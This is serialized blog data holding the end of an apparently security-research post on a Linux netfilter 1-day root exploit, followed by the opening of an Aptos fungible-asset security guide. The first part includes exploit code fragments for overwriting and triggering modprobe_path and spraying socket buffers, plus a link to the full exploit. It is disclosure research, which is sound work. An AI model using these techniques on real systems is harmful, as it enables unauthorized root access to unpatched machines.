write(pipe)\"",{"type":23,"tag":41,"props":60392,"children":60393},{"style":70},[60394],{"type":28,"value":3825},{"type":23,"tag":41,"props":60396,"children":60397},{"class":43,"line":3895},[60398],{"type":23,"tag":41,"props":60399,"children":60400},{"style":70},[60401],{"type":28,"value":3347},{"type":23,"tag":41,"props":60403,"children":60404},{"class":43,"line":9044},[60405],{"type":23,"tag":41,"props":60406,"children":60407},{"emptyLinePlaceholder":18},[60408],{"type":28,"value":82},{"type":23,"tag":41,"props":60410,"children":60411},{"class":43,"line":9061},[60412,60416,60420,60425],{"type":23,"tag":41,"props":60413,"children":60414},{"style":58},[60415],{"type":28,"value":3272},{"type":23,"tag":41,"props":60417,"children":60418},{"style":70},[60419],{"type":28,"value":142},{"type":23,"tag":41,"props":60421,"children":60422},{"style":114},[60423],{"type":28,"value":60424},"check_modprobe",{"type":23,"tag":41,"props":60426,"children":60427},{"style":70},[60428],{"type":28,"value":60429},"(fd_path))\n",{"type":23,"tag":41,"props":60431,"children":60432},{"class":43,"line":9106},[60433],{"type":23,"tag":41,"props":60434,"children":60435},{"style":70},[60436],{"type":28,"value":31653},{"type":23,"tag":41,"props":60438,"children":60439},{"class":43,"line":9212},[60440,60445,60449,60454],{"type":23,"tag":41,"props":60441,"children":60442},{"style":114},[60443],{"type":28,"value":60444},"            puts",{"type":23,"tag":41,"props":60446,"children":60447},{"style":70},[60448],{"type":28,"value":1737},{"type":23,"tag":41,"props":60450,"children":60451},{"style":735},[60452],{"type":28,"value":60453},"\"[-] failed to overwrite modprobe\"",{"type":23,"tag":41,"props":60455,"children":60456},{"style":70},[60457],{"type":28,"value":3825},{"type":23,"tag":41,"props":60459,"children":60460},{"class":43,"line":23496},[60461,60465],{"type":23,"tag":41,"props":60462,"children":60463},{"style":58},[60464],{"type":28,"value":3298},{"type":23,"tag":41,"props":60466,"children":60467},{"style":70},[60468],{"type":28,"value":183},{"type":23,"tag":41,"props":60470,"children":60471},{"class":43,"line":23531},[60472],{"type":23,"tag":41,"props":60473,"children":60474},{"style":70},[60475],{"type":28,"value":3347},{"type":23,"tag":41,"props":60477,"children":60478},{"class":43,"line":23539},[60479],{"type":23,"tag":41,"props":60480,"children":60481},{"emptyLinePlaceholder":18},[60482],{"type":28,"value":82},{"type":23,"tag":41,"props":60484,"children":60485},{"class":43,"line":23547},[60486,60490,60494,60499],{"type":23,"tag":41,"props":60487,"children":60488},{"style":58},[60489],{"type":28,"value":3272},{"type":23,"tag":41,"props":60491,"children":60492},{"style":70},[60493],{"type":28,"value":142},{"type":23,"tag":41,"props":60495,"children":60496},{"style":114},[60497],{"type":28,"value":60498},"trigger_modprobe",{"type":23,"tag":41,"props":60500,"children":60501},{"style":70},[60502],{"type":28,"value":60503},"(status_fd))\n",{"type":23,"tag":41,"props":60505,"children":60506},{"class":43,"line":23556},[60507],{"type":23,"tag":41,"props":60508,"children":60509},{"style":70},[60510],{"type":28,"value":31653},{"type":23,"tag":41,"props":60512,"children":60513},{"class":43,"line":23598},[60514,60518,60522,60526,60530,60535],{"type":23,"tag":41,"props":60515,"children":60516},{"style":114},[60517],{"type":28,"value":60444},{"type":23,"tag":41,"props":60519,"children":60520},{"style":70},[60521],{"type":28,"value":1737},{"type":23,"tag":41,"props":60523,"children":60524},{"style":735},[60525],{"type":28,"value":20048},{"type":23,"tag":41,"props":60527,"children":60528},{"style":48367},[60529],{"type":28,"value":48370},{"type":23,"tag":41,"props":60531,"children":60532},{"style":735},[60533],{"type":28,"value":60534},"[+] got root\"",{"type":23,"tag":41,"props":60536,"children":60537},{"style":70},[60538],{"type":28,"value":3825},{"type":23,"tag":41,"props":60540,"children":60541},{"class":43,"line":23631},[60542,60547],{"type":23,"tag":41,"props":60543,"children":60544},{"style":58},[60545],{"type":28,"value":60546},"            goto",{"type":23,"tag":41,"props":60548,"children":60549},{"style":70},[60550],{"type":28,"value":60551}," out;\n",{"type":23,"tag":41,"props":60553,"children":60554},{"class":43,"line":23639},[60555],{"type":23,"tag":41,"props":60556,"children":60557},{"style":70},[60558],{"type":28,"value":3347},{"type":23,"tag":41,"props":60560,"children":60561},{"class":43,"line":23647},[60562],{"type":23,"tag":41,"props":60563,"children":60564},{"emptyLinePlaceholder":18},[60565],{"type":28,"value":82},{"type":23,"tag":41,"props":60567,"children":60568},{"class":43,"line":23656},[60569,60574,60578,60582,60586,60590,60594,60598,60602,60607,60611],{"type":23,"tag":41,"props":60570,"children":60571},{"style":58},[60572],{"type":28,"value":60573},"        for",{"type":23,"tag":41,"props":60575,"children":60576},{"style":70},[60577],{"type":28,"value":142},{"type":23,"tag":41,"props":60579,"children":60580},{"style":64},[60581],{"type":28,"value":1124},{"type":23,"tag":41,"props":60583,"children":60584},{"style":70},[60585],{"type":28,"value":54539},{"type":23,"tag":41,"props":60587,"children":60588},{"style":170},[60589],{"type":28,"value":2381},{"type":23,"tag":41,"props":60591,"children":60592},{"style":164},[60593],{"type":28,"value":392},{"type":23,"tag":41,"props":60595,"children":60596},{"style":70},[60597],{"type":28,"value":51228},{"type":23,"tag":41,"props":60599,"children":60600},{"style":170},[60601],{"type":28,"value":1012},{"type":23,"tag":41,"props":60603,"children":60604},{"style":70},[60605],{"type":28,"value":60606}," SKBUF_SPRAY; i",{"type":23,"tag":41,"props":60608,"children":60609},{"style":170},[60610],{"type":28,"value":51264},{"type":23,"tag":41,"props":60612,"children":60613},{"style":70},[60614],{"type":28,"value":1969},{"type":23,"tag":41,"props":60616,"children":60617},{"class":43,"line":23732},[60618],{"type":23,"tag":41,"props":60619,"children":60620},{"style":70},[60621],{"type":28,"value":31653},{"type":23,"tag":41,"props":60623,"children":60624},{"class":43,"line":23765},[60625,60629,60633,60638,60642,60647,60652,60656,60661,60665,60669,60674,60678,60682,60686],{"type":23,"tag":41,"props":60626,"children":60627},{"style":58},[60628],{"type":28,"value":58797},{"type":23,"tag":41,"props":60630,"children":60631},{"style":70},[60632],{"type":28,"value":142},{"type":23,"tag":41,"props":60634,"children":60635},{"style":114},[60636],{"type":28,"value":60637},"read",{"type":23,"tag":41,"props":60639,"children":60640},{"style":70},[60641],{"type":28,"value":1737},{"type":23,"tag":41,"props":60643,"children":60644},{"style":858},[60645],{"type":28,"value":60646},"sock",{"type":23,"tag":41,"props":60648,"children":60649},{"style":70},[60650],{"type":28,"value":60651},"[i][",{"type":23,"tag":41,"props":60653,"children":60654},{"style":164},[60655],{"type":28,"value":317},{"type":23,"tag":41,"props":60657,"children":60658},{"style":70},[60659],{"type":28,"value":60660},"], leak, ",{"type":23,"tag":41,"props":60662,"children":60663},{"style":164},[60664],{"type":28,"value":58144},{"type":23,"tag":41,"props":60666,"children":60667},{"style":170},[60668],{"type":28,"value":51250},{"type":23,"tag":41,"props":60670,"children":60671},{"style":164},[60672],{"type":28,"value":60673}," 320",{"type":23,"tag":41,"props":60675,"children":60676},{"style":70},[60677],{"type":28,"value":866},{"type":23,"tag":41,"props":60679,"children":60680},{"style":170},[60681],{"type":28,"value":1012},{"type":23,"tag":41,"props":60683,"children":60684},{"style":164},[60685],{"type":28,"value":392},{"type":23,"tag":41,"props":60687,"children":60688},{"style":70},[60689],{"type":28,"value":1969},{"type":23,"tag":41,"props":60691,"children":60692},{"class":43,"line":23773},[60693],{"type":23,"tag":41,"props":60694,"children":60695},{"style":70},[60696],{"type":28,"value":31689},{"type":23,"tag":41,"props":60698,"children":60699},{"class":43,"line":23781},[60700,60705,60709,60714],{"type":23,"tag":41,"props":60701,"children":60702},{"style":114},[60703],{"type":28,"value":60704},"                perror",{"type":23,"tag":41,"props":60706,"children":60707},{"style":70},[60708],{"type":28,"value":1737},{"type":23,"tag":41,"props":60710,"children":60711},{"style":735},[60712],{"type":28,"value":60713},"\"[-] read(socket)\"",{"type":23,"tag":41,"props":60715,"children":60716},{"style":70},[60717],{"type":28,"value":3825},{"type":23,"tag":41,"props":60719,"children":60720},{"class":43,"line":23818},[60721,60726,60730,60734],{"type":23,"tag":41,"props":60722,"children":60723},{"style":58},[60724],{"type":28,"value":60725},"                return",{"type":23,"tag":41,"props":60727,"children":60728},{"style":170},[60729],{"type":28,"value":51250},{"type":23,"tag":41,"props":60731,"children":60732},{"style":164},[60733],{"type":28,"value":317},{"type":23,"tag":41,"props":60735,"children":60736},{"style":70},[60737],{"type":28,"value":183},{"type":23,"tag":41,"props":60739,"children":60740},{"class":43,"line":23831},[60741],{"type":23,"tag":41,"props":60742,"children":60743},{"style":70},[60744],{"type":28,"value":58881},{"type":23,"tag":41,"props":60746,"children":60747},{"class":43,"line":23844},[60748],{"type":23,"tag":41,"props":60749,"children":60750},{"style":70},[60751],{"type":28,"value":3347},{"type":23,"tag":41,"props":60753,"children":60754},{"class":43,"line":23857},[60755],{"type":23,"tag":41,"props":60756,"children":60757},{"style":70},[60758],{"type":28,"value":192},{"type":23,"tag":41,"props":60760,"children":60761},{"class":43,"line":23911},[60762,60766,60770,60775],{"type":23,"tag":41,"props":60763,"children":60764},{"style":114},[60765],{"type":28,"value":55502},{"type":23,"tag":41,"props":60767,"children":60768},{"style":70},[60769],{"type":28,"value":1737},{"type":23,"tag":41,"props":60771,"children":60772},{"style":735},[60773],{"type":28,"value":60774},"\"[-] fake modprobe failed\"",{"type":23,"tag":41,"props":60776,"children":60777},{"style":70},[60778],{"type":28,"value":3825},{"type":23,"tag":41,"props":60780,"children":60781},{"class":43,"line":23920},[60782],{"type":23,"tag":41,"props":60783,"children":60784},{"style":70},[60785],{"type":28,"value":10316},{"type":23,"tag":24,"props":60787,"children":60788},{},[60789,60791,60798],{"type":28,"value":60790},"This trick has already been throughly detailed by ",{"type":23,"tag":458,"props":60792,"children":60795},{"href":60793,"rel":60794},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[462],[60796],{"type":28,"value":60797},"lau",{"type":28,"value":60799},", so we won't go much more into it.",{"type":23,"tag":546,"props":60801,"children":60803},{"id":60802},"universal-exploit-demo",[60804],{"type":28,"value":60805},"Universal exploit demo",{"type":23,"tag":24,"props":60807,"children":60808},{},[60809,60811,60817],{"type":28,"value":60810},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":23,"tag":458,"props":60812,"children":60815},{"href":60813,"rel":60814},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[462],[60816],{"type":28,"value":57411},{"type":28,"value":706},{"type":23,"tag":446,"props":60819,"children":60821},{"id":60820},"disclosure-timeline",[60822],{"type":28,"value":60823},"Disclosure Timeline",{"type":23,"tag":417,"props":60825,"children":60826},{},[60827,60832,60837,60842,60847],{"type":23,"tag":421,"props":60828,"children":60829},{},[60830],{"type":28,"value":60831},"March 21st -- Patch made public",{"type":23,"tag":421,"props":60833,"children":60834},{},[60835],{"type":28,"value":60836},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":23,"tag":421,"props":60838,"children":60839},{},[60840],{"type":28,"value":60841},"March 24th -- Wrote KernelCTF exploit",{"type":23,"tag":421,"props":60843,"children":60844},{},[60845],{"type":28,"value":60846},"March 26th -- Wrote Universal exploit",{"type":23,"tag":421,"props":60848,"children":60849},{},[60850],{"type":28,"value":60851},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":23,"tag":24,"props":60853,"children":60854},{},[60855],{"type":28,"value":60856},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":23,"tag":446,"props":60858,"children":60859},{"id":2811},[60860],{"type":28,"value":2814},{"type":23,"tag":24,"props":60862,"children":60863},{},[60864],{"type":28,"value":60865},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":23,"tag":24,"props":60867,"children":60868},{},[60869],{"type":28,"value":60870},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":23,"tag":2843,"props":60872,"children":60873},{},[60874],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":60876},[60877,60880,60883,60886,60887,60897,60905,60906],{"id":50562,"depth":54,"text":50565,"children":60878},[60879],{"id":50583,"depth":76,"text":50586},{"id":50626,"depth":54,"text":50626,"children":60881},[60882],{"id":50673,"depth":76,"text":50676},{"id":50731,"depth":54,"text":50734,"children":60884},[60885],{"id":51894,"depth":76,"text":51897},{"id":53769,"depth":54,"text":53772},{"id":54171,"depth":54,"text":54174,"children":60888},[60889,60890,60891,60893,60894,60895,60896],{"id":54198,"depth":76,"text":54201},{"id":55080,"depth":76,"text":55083},{"id":55666,"depth":76,"text":60892},"Leaking self pointer of nft_object",{"id":56064,"depth":76,"text":56067},{"id":56578,"depth":76,"text":56581},{"id":56708,"depth":76,"text":56365},{"id":57392,"depth":76,"text":57395},{"id":57415,"depth":54,"text":57418,"children":60898},[60899,60900,60901,60902,60904],{"id":57426,"depth":76,"text":57429},{"id":58284,"depth":76,"text":58287},{"id":58360,"depth":76,"text":58363},{"id":59985,"depth":76,"text":60903},"Overwriting modprobe_path",{"id":60802,"depth":76,"text":60805},{"id":60820,"depth":54,"text":60823},{"id":2811,"depth":54,"text":2814},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":60911,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":60912,"description":60913,"image":60914,"date":60916,"isFeatured":18,"onBlogPage":18,"tags":60917,"body":60918,"_type":2864,"_id":67633,"_source":2866,"_file":67634,"_stem":67635,"_extension":2869},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":60915,"width":5384,"height":5385},"/posts/aptos-guide/title.png","2025-02-10",[5880],{"type":20,"children":60919,"toc":67617},[60920,60933,60938,60947,60953,60981,61054,61094,61128,61289,61308,61389,61429,61457,61474,61479,61487,61492,61498,61519,61599,61632,61640,61653,61658,62040,62045,62050,62056,62061,62073,62177,62215,62218,62236,62544,62549,62561,62567,62593,62614,62619,62798,62818,62824,62844,62856,62861,62867,62879,62942,62969,62993,63214,63217,63236,63346,63403,63539,63566,63572,63598,63842,63870,64172,64205,64219,64245,64278,64585,64597,64874,64888,65205,65224,65230,65262,65302,65403,65423,65543,65560,65634,65646,65734,65755,65761,65766,65771,65788,65809,66180,66238,66243,66694,66699,66735,66741,66753,66775,66801,67008,67022,67277,67289,67316,67467,67486,67516,67520,67531,67536,67549,67613],{"type":23,"tag":24,"props":60921,"children":60922},{},[60923,60925,60931],{"type":28,"value":60924},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":23,"tag":37,"props":60926,"children":60928},{"className":60927},[],[60929],{"type":28,"value":60930},"coin",{"type":28,"value":60932}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":23,"tag":24,"props":60934,"children":60935},{},[60936],{"type":28,"value":60937},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":23,"tag":60939,"props":60940,"children":60941},"important",{},[60942],{"type":23,"tag":24,"props":60943,"children":60944},{},[60945],{"type":28,"value":60946},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":23,"tag":446,"props":60948,"children":60950},{"id":60949},"aptos-coin-standard",[60951],{"type":28,"value":60952},"Aptos Coin standard",{"type":23,"tag":24,"props":60954,"children":60955},{},[60956,60958,60964,60966,60971,60972,60979],{"type":28,"value":60957},"In the beginning, Aptos used ",{"type":23,"tag":37,"props":60959,"children":60961},{"className":60960},[],[60962],{"type":28,"value":60963},"Coin",{"type":28,"value":60965},". It is still in use, although it is now considered \"legacy\". ",{"type":23,"tag":37,"props":60967,"children":60969},{"className":60968},[],[60970],{"type":28,"value":60963},{"type":28,"value":5501},{"type":23,"tag":458,"props":60973,"children":60976},{"href":60974,"rel":60975},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[462],[60977],{"type":28,"value":60978},"defined",{"type":28,"value":60980}," in Aptos as follows:",{"type":23,"tag":31,"props":60982,"children":60984},{"className":2982,"code":60983,"language":2981,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[60985],{"type":23,"tag":37,"props":60986,"children":60987},{"__ignoreMap":7},[60988,61027,61047],{"type":23,"tag":41,"props":60989,"children":60990},{"class":43,"line":44},[60991,60995,60999,61003,61007,61011,61015,61019,61023],{"type":23,"tag":41,"props":60992,"children":60993},{"style":64},[60994],{"type":28,"value":9399},{"type":23,"tag":41,"props":60996,"children":60997},{"style":94},[60998],{"type":28,"value":5802},{"type":23,"tag":41,"props":61000,"children":61001},{"style":70},[61002],{"type":28,"value":1012},{"type":23,"tag":41,"props":61004,"children":61005},{"style":858},[61006],{"type":28,"value":5811},{"type":23,"tag":41,"props":61008,"children":61009},{"style":94},[61010],{"type":28,"value":5816},{"type":23,"tag":41,"props":61012,"children":61013},{"style":70},[61014],{"type":28,"value":5821},{"type":23,"tag":41,"props":61016,"children":61017},{"style":858},[61018],{"type":28,"value":5826},{"type":23,"tag":41,"props":61020,"children":61021},{"style":858},[61022],{"type":28,"value":5831},{"type":23,"tag":41,"props":61024,"children":61025},{"style":70},[61026],{"type":28,"value":102},{"type":23,"tag":41,"props":61028,"children":61029},{"class":43,"line":54},[61030,61035,61039,61043],{"type":23,"tag":41,"props":61031,"children":61032},{"style":858},[61033],{"type":28,"value":61034},"    value",{"type":23,"tag":41,"props":61036,"children":61037},{"style":170},[61038],{"type":28,"value":1474},{"type":23,"tag":41,"props":61040,"children":61041},{"style":94},[61042],{"type":28,"value":5860},{"type":23,"tag":41,"props":61044,"children":61045},{"style":70},[61046],{"type":28,"value":3506},{"type":23,"tag":41,"props":61048,"children":61049},{"class":43,"line":76},[61050],{"type":23,"tag":41,"props":61051,"children":61052},{"style":70},[61053],{"type":28,"value":201},{"type":23,"tag":24,"props":61055,"children":61056},{},[61057,61059,61064,61066,61072,61073,61079,61081,61086,61088,61093],{"type":28,"value":61058},"Aptos distinguishes coins by their type (",{"type":23,"tag":37,"props":61060,"children":61062},{"className":61061},[],[61063],{"type":28,"value":6582},{"type":28,"value":61065},") at compile time. For example, ",{"type":23,"tag":37,"props":61067,"children":61069},{"className":61068},[],[61070],{"type":28,"value":61071},"Coin\u003COtter>",{"type":28,"value":1361},{"type":23,"tag":37,"props":61074,"children":61076},{"className":61075},[],[61077],{"type":28,"value":61078},"Coin\u003CWeasel>",{"type":28,"value":61080}," represent different coins, and you cannot pass a ",{"type":23,"tag":37,"props":61082,"children":61084},{"className":61083},[],[61085],{"type":28,"value":61078},{"type":28,"value":61087}," to a function expecting ",{"type":23,"tag":37,"props":61089,"children":61091},{"className":61090},[],[61092],{"type":28,"value":61071},{"type":28,"value":706},{"type":23,"tag":24,"props":61095,"children":61096},{},[61097,61099,61104,61106,61111,61113,61118,61120,61126],{"type":28,"value":61098},"The type signature reveals why ",{"type":23,"tag":37,"props":61100,"children":61102},{"className":61101},[],[61103],{"type":28,"value":60963},{"type":28,"value":61105}," has become a legacy standard. ",{"type":23,"tag":37,"props":61107,"children":61109},{"className":61108},[],[61110],{"type":28,"value":60963},{"type":28,"value":61112}," has only the ",{"type":23,"tag":37,"props":61114,"children":61116},{"className":61115},[],[61117],{"type":28,"value":5940},{"type":28,"value":61119}," ability and uses a ",{"type":23,"tag":37,"props":61121,"children":61123},{"className":61122},[],[61124],{"type":28,"value":61125},"CoinStore",{"type":28,"value":61127}," wrapper to store the coin and metadata:",{"type":23,"tag":31,"props":61129,"children":61131},{"className":2982,"code":61130,"language":2981,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[61132],{"type":23,"tag":37,"props":61133,"children":61134},{"__ignoreMap":7},[61135,61175,61203,61223,61253,61282],{"type":23,"tag":41,"props":61136,"children":61137},{"class":43,"line":44},[61138,61142,61147,61151,61155,61159,61163,61167,61171],{"type":23,"tag":41,"props":61139,"children":61140},{"style":64},[61141],{"type":28,"value":9399},{"type":23,"tag":41,"props":61143,"children":61144},{"style":94},[61145],{"type":28,"value":61146}," CoinStore",{"type":23,"tag":41,"props":61148,"children":61149},{"style":70},[61150],{"type":28,"value":1012},{"type":23,"tag":41,"props":61152,"children":61153},{"style":858},[61154],{"type":28,"value":5811},{"type":23,"tag":41,"props":61156,"children":61157},{"style":94},[61158],{"type":28,"value":5816},{"type":23,"tag":41,"props":61160,"children":61161},{"style":70},[61162],{"type":28,"value":5821},{"type":23,"tag":41,"props":61164,"children":61165},{"style":858},[61166],{"type":28,"value":5826},{"type":23,"tag":41,"props":61168,"children":61169},{"style":858},[61170],{"type":28,"value":5931},{"type":23,"tag":41,"props":61172,"children":61173},{"style":70},[61174],{"type":28,"value":102},{"type":23,"tag":41,"props":61176,"children":61177},{"class":43,"line":54},[61178,61183,61187,61191,61195,61199],{"type":23,"tag":41,"props":61179,"children":61180},{"style":858},[61181],{"type":28,"value":61182},"    coin",{"type":23,"tag":41,"props":61184,"children":61185},{"style":170},[61186],{"type":28,"value":1474},{"type":23,"tag":41,"props":61188,"children":61189},{"style":94},[61190],{"type":28,"value":5802},{"type":23,"tag":41,"props":61192,"children":61193},{"style":70},[61194],{"type":28,"value":1012},{"type":23,"tag":41,"props":61196,"children":61197},{"style":94},[61198],{"type":28,"value":6582},{"type":23,"tag":41,"props":61200,"children":61201},{"style":70},[61202],{"type":28,"value":6136},{"type":23,"tag":41,"props":61204,"children":61205},{"class":43,"line":76},[61206,61211,61215,61219],{"type":23,"tag":41,"props":61207,"children":61208},{"style":858},[61209],{"type":28,"value":61210},"    frozen",{"type":23,"tag":41,"props":61212,"children":61213},{"style":170},[61214],{"type":28,"value":1474},{"type":23,"tag":41,"props":61216,"children":61217},{"style":94},[61218],{"type":28,"value":12047},{"type":23,"tag":41,"props":61220,"children":61221},{"style":70},[61222],{"type":28,"value":3506},{"type":23,"tag":41,"props":61224,"children":61225},{"class":43,"line":85},[61226,61231,61235,61240,61244,61249],{"type":23,"tag":41,"props":61227,"children":61228},{"style":858},[61229],{"type":28,"value":61230},"    deposit_events",{"type":23,"tag":41,"props":61232,"children":61233},{"style":170},[61234],{"type":28,"value":1474},{"type":23,"tag":41,"props":61236,"children":61237},{"style":94},[61238],{"type":28,"value":61239}," EventHandle",{"type":23,"tag":41,"props":61241,"children":61242},{"style":70},[61243],{"type":28,"value":1012},{"type":23,"tag":41,"props":61245,"children":61246},{"style":94},[61247],{"type":28,"value":61248},"DepositEvent",{"type":23,"tag":41,"props":61250,"children":61251},{"style":70},[61252],{"type":28,"value":6136},{"type":23,"tag":41,"props":61254,"children":61255},{"class":43,"line":105},[61256,61261,61265,61269,61273,61278],{"type":23,"tag":41,"props":61257,"children":61258},{"style":858},[61259],{"type":28,"value":61260},"    withdraw_events",{"type":23,"tag":41,"props":61262,"children":61263},{"style":170},[61264],{"type":28,"value":1474},{"type":23,"tag":41,"props":61266,"children":61267},{"style":94},[61268],{"type":28,"value":61239},{"type":23,"tag":41,"props":61270,"children":61271},{"style":70},[61272],{"type":28,"value":1012},{"type":23,"tag":41,"props":61274,"children":61275},{"style":94},[61276],{"type":28,"value":61277},"WithdrawEvent",{"type":23,"tag":41,"props":61279,"children":61280},{"style":70},[61281],{"type":28,"value":6136},{"type":23,"tag":41,"props":61283,"children":61284},{"class":43,"line":155},[61285],{"type":23,"tag":41,"props":61286,"children":61287},{"style":70},[61288],{"type":28,"value":201},{"type":23,"tag":24,"props":61290,"children":61291},{},[61292,61294,61299,61301,61306],{"type":28,"value":61293},"However, an astute reader would note that this isn't the only place a ",{"type":23,"tag":37,"props":61295,"children":61297},{"className":61296},[],[61298],{"type":28,"value":60963},{"type":28,"value":61300}," can be stored. You can create your own ",{"type":23,"tag":37,"props":61302,"children":61304},{"className":61303},[],[61305],{"type":28,"value":60963},{"type":28,"value":61307}," wallet, which could look like this:",{"type":23,"tag":31,"props":61309,"children":61311},{"className":2982,"code":61310,"language":2981,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[61312],{"type":23,"tag":37,"props":61313,"children":61314},{"__ignoreMap":7},[61315,61355,61382],{"type":23,"tag":41,"props":61316,"children":61317},{"class":43,"line":44},[61318,61322,61327,61331,61335,61339,61343,61347,61351],{"type":23,"tag":41,"props":61319,"children":61320},{"style":64},[61321],{"type":28,"value":9399},{"type":23,"tag":41,"props":61323,"children":61324},{"style":94},[61325],{"type":28,"value":61326}," DefinitelyLegitCoinStore",{"type":23,"tag":41,"props":61328,"children":61329},{"style":70},[61330],{"type":28,"value":1012},{"type":23,"tag":41,"props":61332,"children":61333},{"style":858},[61334],{"type":28,"value":5811},{"type":23,"tag":41,"props":61336,"children":61337},{"style":94},[61338],{"type":28,"value":5816},{"type":23,"tag":41,"props":61340,"children":61341},{"style":70},[61342],{"type":28,"value":5821},{"type":23,"tag":41,"props":61344,"children":61345},{"style":858},[61346],{"type":28,"value":5826},{"type":23,"tag":41,"props":61348,"children":61349},{"style":858},[61350],{"type":28,"value":5931},{"type":23,"tag":41,"props":61352,"children":61353},{"style":70},[61354],{"type":28,"value":102},{"type":23,"tag":41,"props":61356,"children":61357},{"class":43,"line":54},[61358,61362,61366,61370,61374,61378],{"type":23,"tag":41,"props":61359,"children":61360},{"style":858},[61361],{"type":28,"value":61182},{"type":23,"tag":41,"props":61363,"children":61364},{"style":170},[61365],{"type":28,"value":1474},{"type":23,"tag":41,"props":61367,"children":61368},{"style":94},[61369],{"type":28,"value":5802},{"type":23,"tag":41,"props":61371,"children":61372},{"style":70},[61373],{"type":28,"value":1012},{"type":23,"tag":41,"props":61375,"children":61376},{"style":94},[61377],{"type":28,"value":6582},{"type":23,"tag":41,"props":61379,"children":61380},{"style":70},[61381],{"type":28,"value":773},{"type":23,"tag":41,"props":61383,"children":61384},{"class":43,"line":76},[61385],{"type":23,"tag":41,"props":61386,"children":61387},{"style":70},[61388],{"type":28,"value":201},{"type":23,"tag":24,"props":61390,"children":61391},{},[61392,61397,61399,61405,61407,61412,61414,61420,61422,61427],{"type":23,"tag":37,"props":61393,"children":61395},{"className":61394},[],[61396],{"type":28,"value":61125},{"type":28,"value":61398}," includes a ",{"type":23,"tag":37,"props":61400,"children":61402},{"className":61401},[],[61403],{"type":28,"value":61404},"frozen",{"type":28,"value":61406}," field, allowing the issuer to block transfers to and from the store. ",{"type":23,"tag":37,"props":61408,"children":61410},{"className":61409},[],[61411],{"type":28,"value":61125},{"type":28,"value":61413}," is also required for a ",{"type":23,"tag":37,"props":61415,"children":61417},{"className":61416},[],[61418],{"type":28,"value":61419},"burn_from",{"type":28,"value":61421}," operation, which withdraws the ",{"type":23,"tag":37,"props":61423,"children":61425},{"className":61424},[],[61426],{"type":28,"value":60930},{"type":28,"value":61428}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":23,"tag":24,"props":61430,"children":61431},{},[61432,61434,61439,61441,61448,61450,61455],{"type":28,"value":61433},"Storing ",{"type":23,"tag":37,"props":61435,"children":61437},{"className":61436},[],[61438],{"type":28,"value":60930},{"type":28,"value":61440}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":23,"tag":458,"props":61442,"children":61445},{"href":61443,"rel":61444},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[462],[61446],{"type":28,"value":61447},"AIP-21",{"type":28,"value":61449}," summarizes the ",{"type":23,"tag":37,"props":61451,"children":61453},{"className":61452},[],[61454],{"type":28,"value":60930},{"type":28,"value":61456}," problems:",{"type":23,"tag":518,"props":61458,"children":61459},{},[61460,61469],{"type":23,"tag":24,"props":61461,"children":61462},{},[61463,61467],{"type":23,"tag":41,"props":61464,"children":61465},{},[61466],{"type":28,"value":9589},{"type":28,"value":61468}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":23,"tag":24,"props":61470,"children":61471},{},[61472],{"type":28,"value":61473},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":23,"tag":24,"props":61475,"children":61476},{},[61477],{"type":28,"value":61478},"And declares, that:",{"type":23,"tag":518,"props":61480,"children":61481},{},[61482],{"type":23,"tag":24,"props":61483,"children":61484},{},[61485],{"type":28,"value":61486},"Fungible assets addresses these issues.",{"type":23,"tag":24,"props":61488,"children":61489},{},[61490],{"type":28,"value":61491},"Let's find out whether this is indeed the 